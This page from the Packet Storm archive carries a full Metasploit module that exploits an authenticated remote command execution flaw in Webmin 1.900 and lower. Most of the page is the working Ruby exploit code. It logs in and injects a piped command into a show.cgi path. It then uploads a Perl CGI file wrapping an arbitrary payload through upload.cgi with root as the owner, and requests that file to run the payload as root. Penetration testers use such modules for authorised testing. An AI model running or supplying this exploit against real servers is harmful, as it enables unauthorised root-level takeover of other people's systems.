what you don't know can hurt you

Webmin 1.900 Upload Authenticated Remote Command Execution

Webmin 1.900 Upload Authenticated Remote Command Execution
Posted Mar 15, 2019
Authored by Ozkan Mustafa Akkus, Ziconius | Site metasploit.com

This Metasploit module exploits an arbitrary command execution vulnerability in Webmin 1.900 and lower versions. Any user authorized to the "Upload and Download" module can execute arbitrary commands with root privileges. In addition, if the Running Processes (proc) privilege is set the user can accurately determine which directory to upload to. Webmin application files can be written/overwritten, which allows remote code execution. The module has been tested successfully with Webmin 1.900 on Ubuntu v18.04.

tags | exploit, remote, arbitrary, root, code execution
systems | linux, ubuntu
MD5 | 3ba74c7641d287a5a1d6cee6bdb0eff5

Webmin 1.900 Upload Authenticated Remote Command Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Webmin Upload Authenticated RCE',
'Description' => %q(
This module exploits an arbitrary command execution vulnerability in Webmin
1.900 and lower versions. Any user authorized to the "Upload and Download"
module can execute arbitrary commands with root privileges.

In addition, if the 'Running Processes' (proc) privilege is set the user can
accurately determine which directory to upload to. Webmin application files
can be written/overwritten, which allows remote code execution. The module
has been tested successfully with Webmin 1.900 on Ubuntu v18.04.

Using GUESSUPLOAD attempts to use a default installation path in order to
trigger the exploit.
),
'Author' => [
'AkkuS <Azkan Mustafa AkkuA>', # Vulnerability Discovery, Initial PoC module
'Ziconius <Kris.Anderson[at]immersivelabs.com>' # Updated MSF module; removing 'proc' requirement.
],
'License' => MSF_LICENSE,
'References' =>
[
['EDB', '46201'],
['URL', 'https://pentest.com.tr/exploits/Webmin-1900-Remote-Command-Execution.html']
],
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 512,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'perl'
}
},
'DefaultOptions' =>
{
'RPORT' => 10000,
'SSL' => true
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [['Webmin <= 1.900', {}]],
'DisclosureDate' => 'Jan 17 2019',
'DefaultTarget' => 0)
)
register_options [
OptBool.new('GUESSUPLOAD', [true, 'If no "proc" permissions exists use default path.', false]),
OptString.new('USERNAME', [true, 'Webmin Username']),
OptString.new('PASSWORD', [true, 'Webmin Password']),
OptString.new('FILENAME', [false, 'Filename used for the uploaded data']),
OptString.new('TARGETURI', [true, 'Base path for Webmin application', '/'])
]
end

def login
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'session_login.cgi'),
'cookie' => 'testing=1',
'vars_post' => {
'page' => '',
'user' => datastore['USERNAME'],
'pass' => datastore['PASSWORD']
}
})

if res && res.code == 302 && res.get_cookies =~ /sid=(\w+)/
return $1
end

return nil unless res
''
end

##
# Target and input verification
##
def check
cookie = login
return CheckCode::Detected if cookie == ''
return CheckCode::Unknown if cookie.nil?

vprint_status('Attempting to execute...')
command = "echo #{rand_text_alphanumeric(0..9)}"

res = send_request_cgi({
'uri' => "#{target_uri}/file/show.cgi/bin/#{rand_text_alphanumeric(5)}|#{command}|",
'cookie' => "sid=#{cookie}"
})

if res && res.code == 200 && res.message =~ /Document follows/
return CheckCode::Vulnerable
end

CheckCode::Safe
end

##
# Exploiting phase
##
def exploit
cookie = login
if cookie == '' || cookie.nil?
fail_with(Failure::Unknown, 'Failed to retrieve session cookie')
end
print_good("Session cookie: #{cookie}")

##
# Directory and SSL verification for referer
##
phost = ssl ? 'https://' : 'http://'
phost << peer
print_status("Target URL => #{phost}")

res = send_request_raw(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'proc', 'index_tree.cgi'),
'headers' =>
{
'Referer' => "#{phost}/sysinfo.cgi?xnavigation=1"
},
'cookie' => "redirect=1; testing=1; sid=#{cookie}"
)
unless res && res.code == 200
fail_with(Failure::Unknown, 'Request failed')
end

print_status 'Searching for directory to upload...'
if res.body =~ /Running Processes/ && res.body =~ /[^ ] ([\/\w]+)miniserv\.pl/
directory = $1
elsif datastore['GUESSUPLOAD']
print_warning('Could not determine upload directory. Using /usr/share/webmin/')
directory = '/usr/share/webmin/'
else
print_error('Failed to determine webmin share directory')
print_error('Set GUESSUPLOAD to attempt upload to a default location')
return
end
directory << 'file'
filename = datastore['FILENAME'].present? ? datastore['FILENAME'] : "#{rand_text_alpha_lower(5..8)}.cgi"
filename << '.cgi' unless filename.end_with?('.cgi')
upload_attempt(phost, cookie, directory, filename)

##
# Loading phase of the vulnerable file
# Command execution and shell retrieval
##
print_status("Attempting to execute the payload...")
command = payload.encoded
res = send_request_cgi({
'uri' => normalize_uri(target_uri, 'file', filename),
'cookie' => "sid=#{cookie}"
})
end

def upload_attempt(phost, cookie, dir, filename)
limit = rand_text_alpha_upper(5..10)
tmpvar = rand_text_alpha_upper(3..8)
code = <<~HERE
#!/usr/bin/perl
$#{tmpvar} = <<'#{limit}';
#{payload.encoded}
#{limit}
`$#{tmpvar}`;
HERE

message = Rex::MIME::Message.new
message.add_part(code, nil, nil, "form-data; name=\"upload0\"; filename=\"#{filename}\"")
message.add_part(dir, nil, nil, 'form-data; name="dir"')
message.add_part('root', nil, nil, 'form-data; name="user"')
message.add_part('1', nil, nil, 'form-data; name="group_def"')
message.add_part('', nil, nil, 'form-data; name="group"')
message.add_part('0', nil, nil, 'form-data; name="zip"')
message.add_part('1', nil, nil, 'form-data; name="email_def"')
message.add_part('Upload', nil, nil, 'form-data; name="ok"')

res2 = send_request_raw(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'updown', 'upload.cgi'),
'vars_get' => {'id' => "#{rand_text_numeric(8..12)}"},
'data' => message.to_s,
'ctype' => "multipart/form-data; boundary=#{message.bound}",
'headers' =>
{
'Referer' => "#{phost}/updown/?xnavigation=1"
},
'cookie' => "redirect=1; testing=1; sid=#{cookie}"
)

if res2 && res2.code == 200 && res2.body =~ /Saving file/
print_good "File #{filename} was successfully uploaded."
register_file_for_cleanup(filename)
else
print_error 'Upload failed.'
fail_with(Failure::UnexpectedReply, 'Failed to upload file')
end
end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

June 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    1 Files
  • 2
    Jun 2nd
    2 Files
  • 3
    Jun 3rd
    19 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    15 Files
  • 6
    Jun 6th
    12 Files
  • 7
    Jun 7th
    11 Files
  • 8
    Jun 8th
    1 Files
  • 9
    Jun 9th
    1 Files
  • 10
    Jun 10th
    15 Files
  • 11
    Jun 11th
    15 Files
  • 12
    Jun 12th
    15 Files
  • 13
    Jun 13th
    8 Files
  • 14
    Jun 14th
    16 Files
  • 15
    Jun 15th
    2 Files
  • 16
    Jun 16th
    1 Files
  • 17
    Jun 17th
    18 Files
  • 18
    Jun 18th
    15 Files
  • 19
    Jun 19th
    22 Files
  • 20
    Jun 20th
    15 Files
  • 21
    Jun 21st
    15 Files
  • 22
    Jun 22nd
    2 Files
  • 23
    Jun 23rd
    1 Files
  • 24
    Jun 24th
    23 Files
  • 25
    Jun 25th
    19 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close